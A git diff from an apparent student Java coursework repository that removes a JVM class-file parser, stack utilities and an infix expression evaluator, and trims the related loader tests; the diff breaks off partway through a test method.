diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
index 0c02adef66..fafac43407 100644
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
@@ -8,29 +8,10 @@
 import java.util.ArrayList;
 import java.util.List;
 
-import com.coderising.jvm.clz.ClassFile;
-
 public class ClassFileLoader {
 	private static final int BUFFERSIZE = 1024;
 	private List<String> clzPaths = new ArrayList<String>();
 
-	/**
-	 * 装载class文件
-	 * 读取二进制字节流，并解析成ClassFile对象
-	 * @param className
-	 * @return ClassFile
-	 */
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-	}
-	
-	/**
-	 * 从.class文件读取二进制字节流
-	 * @param className
-	 * @return
-	 */
 	public byte[] readBinaryCode(String className) {
 		if (clzPaths.size()<=0){
 			return null;
@@ -55,7 +36,7 @@ public byte[] readBinaryCode(String className) {
 	/**
 	 * 文件读取二进制字节流
 	 * @param f
-	 * @return byte[]
+	 * @return
 	 * @throws FileNotFoundException
 	 */
 	private byte[] readFile(File f) throws FileNotFoundException {
@@ -82,18 +63,10 @@ private byte[] readFile(File f) throws FileNotFoundException {
 		return baos.toByteArray();
 	}
 
-	/**
-	 * 增加类加载路径，加载时按增加时的先后顺序加载
-	 * @param path
-	 */
 	public void addClassPath(String path) {
 		clzPaths.add(path);
 	}
 
-	/**
-	 * 获取类加载路径
-	 * @return
-	 */
 	public String getClassPath() {
 		StringBuilder sb = new StringBuilder();
 		for (int i = 0; i < clzPaths.size(); i++) {
@@ -123,4 +96,9 @@ private String convertName(String className) {
 		return sb.toString();
 	}
 
+	public static void main(String[] args) {
+		String d = "com.taiji.array.Load";
+		ClassFileLoader cc = new ClassFileLoader();
+		System.out.print(cc.convertName(d));
+	}
 }
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileParser.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index b9887d3b30..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,195 +0,0 @@
-package com.coderising.jvm.loader;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-	/**
-	 * 读取ClassFile对象
-	 * 
-	 * @param codes
-	 * @return
-	 */
-	public ClassFile parse(byte[] codes) {
-		ClassFile cf = new ClassFile();
-		ByteCodeIterator itr = new ByteCodeIterator(codes);
-		String magicNumber = itr.nextUxtoHexString(4);// 1读取魔数
-		if (!magicNumber.equals("cafebabe")) {
-			throw new RuntimeException("magicNum not ok");
-		}
-		cf.setMinorVersion(itr.nextU2toInt());// 3读取次版本号
-		cf.setMajorVersion(itr.nextU2toInt());// 2读取主版本号
-
-		ConstantPool pool = parseConstantPool(itr);// 4、5读取常量池
-		pool.print();// 打印常量池
-		cf.setPool(pool);
-
-		cf.setAccessFlag(new AccessFlag(itr.nextU2toInt()));// 6读取访问标志
-
-		ClassIndex classIndex = parseClassIndex(itr);// 读取类引用7this和8super
-		cf.setClzIndex(classIndex);
-
-		int interfaceCount = itr.nextU2toInt();//读取接口信息
-		if (interfaceCount != 0) {
-			throw new RuntimeException(
-					"the interface isn't 0,parser has not been implemented yet.");
-		}
-
-		int FieldCount = itr.nextU2toInt();//读取字段信息
-		for (int i = 0; i < FieldCount; i++) {
-			Field f = Field.parse(pool, itr);
-			cf.addFields(f);
-		}
-
-		int MethodCount = itr.nextU2toInt();
-		for (int i = 0; i < MethodCount; i++) {//读取方法信息
-			Method m = Method.parse(pool, itr);
-			cf.addMethods(m);
-		}
-
-		return cf;
-	}
-
-	/**
-	 * 读取this super对象引用<br/>
-	 * classIndex_Info {<br/>
-	 * u2 this_class,<br/>
-	 * u2 super_class<br/>
-	 * }
-	 * 
-	 * @param itr
-	 * @return
-	 */
-	public ClassIndex parseClassIndex(ByteCodeIterator itr) {
-		ClassIndex classIndex = new ClassIndex();
-		classIndex.setThisClassIndex(itr.nextU2toInt());
-		classIndex.setSuperClassIndex(itr.nextU2toInt());
-		return classIndex;
-	}
-
-	/**
-	 * 读取常量池
-	 * 
-	 * @param itr
-	 * @return
-	 */
-	public ConstantPool parseConstantPool(ByteCodeIterator itr) {
-		int count = itr.nextU2toInt();
-		ConstantPool pool = new ConstantPool();
-		pool.addConstantInfo(new NullConstantInfo());// 占住常量池的第一个，常量池是的index从1开始
-
-		for (int i = 1; i < count; i++) {
-			int tag = itr.nextU1toInt();
-			switch (tag) {
-			case ConstantInfo.CLASS_INFO:
-				ClassInfo classInfo = new ClassInfo(pool);
-				classInfo.setUtf8Index(itr.nextU2toInt());
-				pool.addConstantInfo(classInfo);
-
-				/*
-				 * System.out.println(i + ". u1 tag:" +
-				 * classInfo.getType()+" ClassInfo" + ",u2 name_index:" +
-				 * classInfo.getUtf8Index());
-				 */
-				break;
-
-			case ConstantInfo.UTF8_INFO:
-				UTF8Info utf8Info = new UTF8Info(pool);
-				int length = itr.nextU2toInt();
-				String value = itr.nextUxtoAscii(length);
-				utf8Info.setLength(length);
-				utf8Info.setValue(value);
-				pool.addConstantInfo(utf8Info);
-
-				/*
-				 * System.out.println(i + ". u1 tag:" + utf8Info.getType() +
-				 * " UTF8Info" + ",u2 length:" + utf8Info.getLength() +
-				 * ",u1 bytes[" + utf8Info.getLength() + "] " +
-				 * utf8Info.getValue());
-				 */
-				break;
-
-			case ConstantInfo.STRING_INFO:
-				StringInfo si = new StringInfo(pool);
-				si.setString_index(itr.nextU2toInt());
-				pool.addConstantInfo(si);
-
-				/*
-				 * System.out.println(i + ". u1 tag:" +
-				 * si.getType()+" StringInfo" + ",u2 string_index:" +
-				 * si.getString_index());
-				 */
-				break;
-
-			case ConstantInfo.NAME_AND_TYPE_INFO:
-				NameAndTypeInfo nt = new NameAndTypeInfo(pool);
-				nt.setName_index(itr.nextU2toInt());
-				nt.setDescriptor_index(itr.nextU2toInt());
-				pool.addConstantInfo(nt);
-
-				/*
-				 * System.out.println(i + ". u1 tag:" + nt.getType()+
-				 * " NameAndTypeInfo" + ",u2 name_index:" + nt.getName_index() +
-				 * ",u2 descriptor_index:" + nt.getDescriptor_index());
-				 */
-				break;
-
-			case ConstantInfo.METHOD_INFO:
-				MethodRefInfo m = new MethodRefInfo(pool);
-				m.setClassInfoIndex(itr.nextU2toInt());
-				m.setNameAndTypeIndex(itr.nextU2toInt());
-				pool.addConstantInfo(m);
-
-				/*
-				 * System.out.println(i + ". u1 tag:" + m.getType()+
-				 * " MethodInfo" + ",u2 class_index:" + m.getClassInfoIndex() +
-				 * ",u2 name_and_type_index" + m.getNameAndTypeIndex());
-				 */
-				break;
-
-			case ConstantInfo.FIELD_INFO:
-				FieldRefInfo f = new FieldRefInfo(pool);
-				f.setClass_index(itr.nextU2toInt());
-				f.setName_and_type_index(itr.nextU2toInt());
-				pool.addConstantInfo(f);
-
-				/*
-				 * System.out.println(i + ". u1 tag:" + f.getType()+
-				 * " FieldInfo" + ",u2 class_index:" + f.getClass_index() +
-				 * ",u2 name_and_type_index:" + f.getName_and_type_index());
-				 */
-				break;
-
-			/*
-			 * case ConstantInfo.FLOAT_INFO:
-			 * 
-			 * break;
-			 * 
-			 * case ConstantInfo.INTEGER_INFO: break;
-			 * 
-			 * case ConstantInfo.DOUBLE_INFO: break;
-			 * 
-			 * case ConstantInfo.LONG_INFO: break;
-			 */
-
-			default:
-				throw new RuntimeException("the constant pool tag " + tag
-						+ " has not been implemented yet.");
-			}
-		}
-		return pool;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/method/Method.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/method/Method.java
deleted file mode 100644
index 867e6eed5e..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,126 +0,0 @@
-package com.coderising.jvm.method;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class Method {
-	private int accessFlag;// u2 access_flags
-	private int nameIndex;// u2 name_index
-	private int descriptorIndex;// u2 descriptor_index
-	private int attrCount;// u2 attributes_count
-	/*
-	 * attributes[attributes_count];
-	 */
-	private List<AttributeInfo> attributeInfos = new ArrayList<AttributeInfo>();
-
-	public Method() {}
-
-	public Method(int accessFlag, int nameIndex, int descriptorIndex,
-			int attrCount) {
-		super();
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.attrCount = attrCount;
-	}
-
-	private ClassFile clzFile;
-
-	/**
-	 * 读取方法 method_info {<br/>
-	 * u2 access_flags,<br/>
-	 * u2 name_index,<br/>
-	 * u2 descriptor_index,<br/>
-	 * u2 attributes_count,<br/>
-	 * attribute_info attributes[attributes_count]<br/>
-	 * }
-	 * 
-	 * @param itr
-	 * @return Method
-	 */
-	public static Method parse(ConstantPool cp, ByteCodeIterator itr) {
-		int accessFlag = itr.nextU2toInt();
-		int nameIndex = itr.nextU2toInt();
-		int descriptorIndex = itr.nextU2toInt();
-		int attrCount = itr.nextU2toInt();
-		Method method = new Method(accessFlag, nameIndex, descriptorIndex,
-				attrCount);
-		for (int i = 0; i < attrCount; i++) {
-			method.addAttributeInfo(AttributeInfo.parse(cp, itr));
-		}
-		return method;
-	}
-
-	/**
-	 * 专门用来获取code属性的方法
-	 * 
-	 * @return
-	 */
-	public CodeAttr getCodeAttr() {
-		for (int i = 0; i < attributeInfos.size(); i++) {
-			AttributeInfo attributeInfo = attributeInfos.get(i);
-			if(AttributeInfo.CODE.equals(attributeInfo.getType())){
-				return (CodeAttr)attributeInfo;
-			}
-		}
-		return null;
-	}
-
-	public void addAttributeInfo(AttributeInfo a) {
-		this.attributeInfos.add(a);
-	}
-
-	/*
-	 * getter setter
-	 */
-	public int getAccessFlag() {
-		return accessFlag;
-	}
-
-	public void setAccessFlag(int accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-
-	public void setDescriptorIndex(int descriptorIndex) {
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	public List<AttributeInfo> getAttributeInfos() {
-		return attributeInfos;
-	}
-
-	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
-		this.attributeInfos = attributeInfos;
-	}
-
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getAttrCount() {
-		return attrCount;
-	}
-
-	public void setAttrCount(int attrCount) {
-		this.attrCount = attrCount;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/util/Util.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/util/Util.java
deleted file mode 100644
index c69ba73610..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-		String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-	}
-	public static String byteToHexString(byte[] codes) {
-		StringBuffer buffer = new StringBuffer();
-		for (int i = 0; i < codes.length; i++) {
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if (strHex.length() < 2) {
-				strHex = "0" + strHex;
-			}
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-	public static String byteToAscii(byte[] codes){
-		return new String(codes);
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/Stack.java b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/Stack.java
similarity index 58%
rename from group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/Stack.java
rename to group17/82427129/JavaUtil/src/main/java/com/coding/basic/Stack.java
index 5cde9073f3..6bde3e3105 100644
--- a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/Stack.java
+++ b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/Stack.java
@@ -1,9 +1,7 @@
-package com.coding.basic.stack;
+package com.coding.basic;
 
 import java.util.EmptyStackException;
 
-import com.coding.basic.ArrayList;
-
 public class Stack<E> {
 	private ArrayList<E> elementData = new ArrayList<E>();
 	
@@ -31,16 +29,4 @@ public boolean isEmpty(){
 	public int size(){
 		return elementData.size();
 	}
-	@Override
-	public String toString() {
-		StringBuilder sb = new StringBuilder();
-		sb.append("[");
-		for (int i = 0; i < size(); i++) {
-			sb.append(elementData.get(i)).append(", ");
-		}
-		sb.deleteCharAt(sb.length()-1);
-		sb.deleteCharAt(sb.length()-1);
-		sb.append("]");
-		return sb.toString();
-	}
 }
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/StackUtil.java b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/StackUtil.java
deleted file mode 100644
index 1a29d59e48..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,147 +0,0 @@
-package com.coding.basic.stack;
-
-public class StackUtil {
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse_useTwoStack(Stack<Integer> s) {
-		if (s.size() < 2) {
-			return;
-		}
-		Stack<Integer> stack1 = new Stack<>();
-		Stack<Integer> stack2 = new Stack<>();
-		int length = s.size();
-		for (int i = 0; i < length; i++) {
-			stack1.push(s.pop());
-		}
-		for (int i = 0; i < length; i++) {
-			stack2.push(stack1.pop());
-		}
-		for (int i = 0; i < length; i++) {
-			s.push(stack2.pop());
-		}
-	}
-
-	public static void reverse(Stack<Integer> s) {
-		if (s.size() < 2) {
-			return;
-		}
-		Stack<Integer> tmp = new Stack<>();
-		int length = s.size();
-		for (int i = 0; i < length; i++) {
-			tmp.push(s.pop());
-		}
-		for (int i = 0; i < length; i++) {
-			addToBottom(s, tmp.pop());
-		}
-	}
-
-	/**
-	 * 添加元素到栈底部
-	 * 
-	 * @param s
-	 * @param value
-	 */
-	public static void addToBottom(Stack<Integer> s, Integer value) {
-		/*
-		 * Stack<Integer> stack = new Stack<>(); for (int i = 0; i < s.size();
-		 * i++) { stack.push(s.pop()); } s.push(value); for (int i = 0; i <
-		 * s.size(); i++) { s.push(stack.pop()); }
-		 */
-		if (s.isEmpty()) {
-			s.push(value);
-		} else {
-			Integer top = s.pop();
-			addToBottom(s, value);
-			s.push(top);
-		}
-	}
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static boolean remove(Stack<?> s, Object o) {
-		if (s.isEmpty()) {
-			throw new RuntimeException("stack is empty");
-		}
-		boolean flag = false;
-		Stack<Integer> tmp = new Stack<>();
-		while (!s.isEmpty()) {
-			tmp.push(s.pop());
-			if (tmp.peek().equals(o)) {
-				flag = true;
-
-				tmp.pop();
-				for (int i = 0; i < tmp.size(); i++) {
-					s.push(tmp.pop());
-				}
-				break;
-			}
-		}
-		return flag;
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty，
-	 * 可以使用另外一个栈来辅助
-	 * 
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack<?> s, int len) {
-		Object[] result = new Object[len];
-		Stack<?> tmp = new Stack<>();
-		for (int i = 0; i < len; i++) {
-			result[i] = s.peek();
-			tmp.push(s.pop());
-		}
-		for (int i = 0; i < len; i++) {
-			s.push(tmp.pop());
-		}
-		return result;
-	}
-
-	/**
-	 * 字符串s 可能包含这些字符： ( ) [ ] { }, a,b,c... x,yz 使用堆栈检查字符串s中的括号是不是成对出现的。 例如s =
-	 * "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true 如果 s = "([b{x]y})",
-	 * 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * 
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s) {
-		Stack<Integer> stack = new Stack<>();
-		char[] strCharArr = s.toCharArray();
-		for (int i = 0; i < strCharArr.length; i++) {
-			char cc = strCharArr[i];
-			int c = cc&0xffff;
-			if (isBracket(c)) {
-				if (c == 40 || c == 91 || c == 123) {
-					stack.push(c);
-				}else{
-					int left = stack.pop();
-					if(left+1!=c&&left+2!=c){
-						return false;
-					}
-				}
-			}
-		}
-		return true;
-	}
-
-	/**
-	 * judge is Bracket or not
-	 * @param c
-	 * @return
-	 */
-	private static boolean isBracket(int c) {
-		if (c == 40 || c == 41 || c == 91 || c == 93 || c == 123 || c == 125) {
-			return true;
-		} else {
-			return false;
-		}
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/InfixExpr.java b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index b498fc2758..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,114 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-import com.coding.basic.stack.StackUtil;
-
-public class InfixExpr {
-	String expr = null;
-	private List<Token> tokenList = new ArrayList<>();
-	private final static String regex = "-|\\+|\\*|/|\\(|\\)";
-
-	public InfixExpr(String expr) {
-		this.expr = expr;
-		init();
-	}
-
-	private void init() {
-		if (StackUtil.isValidPairs(expr)) {
-			initTokens();
-		} else {
-			throw new RuntimeException(
-					"Syntax error, ( ) is not completed in your Expression");
-		}
-	}
-
-	/**
-	 * 表达式分解并入栈
-	 */
-	private void initTokens() {
-		String[] nums = expr.split(regex);
-		ArrayList<String> arrayList = new ArrayList<String>();
-		for (int i = 0; i < nums.length; i++) {
-			if (!nums[i].equals("")) {
-				arrayList.add(nums[i]);
-			}
-		}
-		char[] exChars = expr.toCharArray();
-		int numInx = 0;
-		for (int i = 0; i < exChars.length;) {
-			char ex = exChars[i];
-			int item = ex & 0xffff;
-			if (item >= 48 && item <= 57) {
-				int numSize = arrayList.get(numInx++).length();
-				String num = new String(exChars, i, numSize);
-				Token token = new Token(num, Token.NUMBER);
-				tokenList.add(token);
-				i += numSize;
-			} else {
-				Token token = new Token(String.valueOf(ex), Token.OPERA);
-				tokenList.add(token);
-				i += 1;
-			}
-		}
-	}
-
-	/**
-	 * 从左向右扫描所有token，当遇到同优先级或低优先级的操作符时，把之前的操作符依次出栈并计算结果
-	 * 扫描完所有token后，依次出栈所有操作数并计算结果
-	 * 
-	 * @return
-	 */
-	public float evaluate() {
-		Stack<Token> opStack = new Stack<>();
-		Stack<Float> numStack = new Stack<>();
-		for (int i = 0; i < tokenList.size(); i++) {
-			Token token = tokenList.get(i);
-			switch (token.getType()) {
-			case Token.NUMBER:
-				numStack.push(token.getNumValue());
-				break;
-			case Token.OPERA:
-				if (opStack.isEmpty()) {
-					opStack.push(token);
-				} else {
-					while (!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())) {
-						Token preOper = opStack.pop();
-						Float latter = numStack.pop();
-						Float former = numStack.pop();
-						Float result = caculate(preOper, latter, former);
-						numStack.push(result);
-					}
-					opStack.push(token);
-				}
-				break;
-			default:
-				throw new RuntimeException(" error not Number not Operate ");
-			}
-		}
-		while (!opStack.isEmpty()) {
-			Token pre = opStack.pop();
-			Float f1 = numStack.pop();
-			Float f2 = numStack.pop();
-			Float result = caculate(pre, f1, f2);
-			numStack.push(result);
-		}
-		return numStack.pop();
-	}
-	private Float caculate(Token t, Float latter,Float former){
-		switch (t.getValue()) {
-		case "+":
-			return latter + former;
-		case "-":
-			return former - latter;
-		case "*":
-			return latter * former;
-		case "/":
-			return former / latter;
-		default:
-			throw new RuntimeException("operation"+t.getValue()+" isn't implemented");
-		}
-	}
-}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/Token.java b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/Token.java
deleted file mode 100644
index bc6945c757..0000000000
--- a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/Token.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.HashMap;
-
-/**
- * 表达式中的数字或者操作符的抽象实体类
- * 
- * @author Walker
- *
- */
-public class Token {
-	private final static HashMap<String, Integer> priority = new HashMap<>(4);
-	static {
-		priority.put("+", 1);
-		priority.put("-", 1);
-		priority.put("*", 2);
-		priority.put("/", 2);
-	}
-	private String value;
-
-	public static final int NUMBER = 1;
-	public static final int OPERA = 2;
-	private int type;
-
-	public Token(String v, int t) {
-		this.value = v;
-		this.type = t;
-	}
-
-	public boolean isNum() {
-		return type == NUMBER;
-	}
-
-	public boolean isOpera() {
-		return type == OPERA;
-	}
-
-	@Override
-	public String toString() {
-		return value;
-	}
-
-	public float getNumValue() {
-		return Float.parseFloat(value);
-	}
-
-	public boolean hasLowerPriority(Token t) {
-		if (!this.isOpera() || !t.isOpera()) {
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priority.get(this.value) - priority.get(t.value) < 0;
-	}
-	public boolean hasHigherPriority(Token t) {
-		if (!this.isOpera() || !t.isOpera()) {
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priority.get(this.value) - priority.get(t.value) > 0;
-	}
-	public boolean hasEqualPriority(Token t) {
-		if (!this.isOpera() || !t.isOpera()) {
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priority.get(this.value) - priority.get(t.value) == 0;
-	}
-
-	/*
-	 * getter setter
-	 */
-	public String getValue() {
-		return value;
-	}
-
-	public void setValue(String value) {
-		this.value = value;
-	}
-
-	public int getType() {
-		return type;
-	}
-
-	public void setType(int type) {
-		this.type = type;
-	}
-
-}
diff --git a/group17/82427129/JavaUtil/src/test/java/com/coderising/jvm/loader/ClassFileLoaderTest.java b/group17/82427129/JavaUtil/src/test/java/com/coderising/jvm/loader/ClassFileLoaderTest.java
index bcc79dc6d8..e2ed056cc3 100644
--- a/group17/82427129/JavaUtil/src/test/java/com/coderising/jvm/loader/ClassFileLoaderTest.java
+++ b/group17/82427129/JavaUtil/src/test/java/com/coderising/jvm/loader/ClassFileLoaderTest.java
@@ -1,36 +1,13 @@
 package com.coderising.jvm.loader;
 
-import java.util.List;
-
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
 public class ClassFileLoaderTest {
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	static String path1 = "C:\\workPrograms\\GitRepo\\coding2017\\group17\\82427129\\JavaUtil\\target\\classes";
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
 	static String path2 = "D:\\workProgram\\GitRepo\\coding2017\\group17\\82427129\\JavaUtil\\target\\classes";
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
 	@Before
 	public void setUp() throws Exception {
 	}
@@ -43,7 +20,6 @@ public void tearDown() throws Exception {
 	public void testClassFileLength() {		
 		
 		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
 		loader.addClassPath(path2);
 		
 		String className = "com.coderising.jvm.test.EmployeeV1";
@@ -69,7 +45,6 @@ public void testGetClassPath() {
 	@Test	
 	public void testMagicNumber(){
     	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
 		loader.addClassPath(path2);
 		String className = "com.coderising.jvm.test.EmployeeV1";
 		byte[] byteCodes = loader.readBinaryCode(className);
@@ -80,93 +55,7 @@ public void testMagicNumber(){
 		
 		Assert.assertEquals("cafebabe", acctualValue);
 	}
-	
-	@Test
-    public void testVersion(){    			
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(51, clzFile.getMajorVersion());
-    }
 
-	@Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getName_index());
-			Assert.assertEquals(14, nameAndType.getDescriptor_index());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-	@Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-	
 	private String byteToHexString(byte[] codes) {
 		StringBuffer buffer = new StringBuffer();
 		for (int i = 0; i < codes.length; i++) {
@@ -180,77 +69,5 @@ private String byteToHexString(byte[] codes) {
 		}
 		return buffer.toString();
 	}
-	
-	/**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
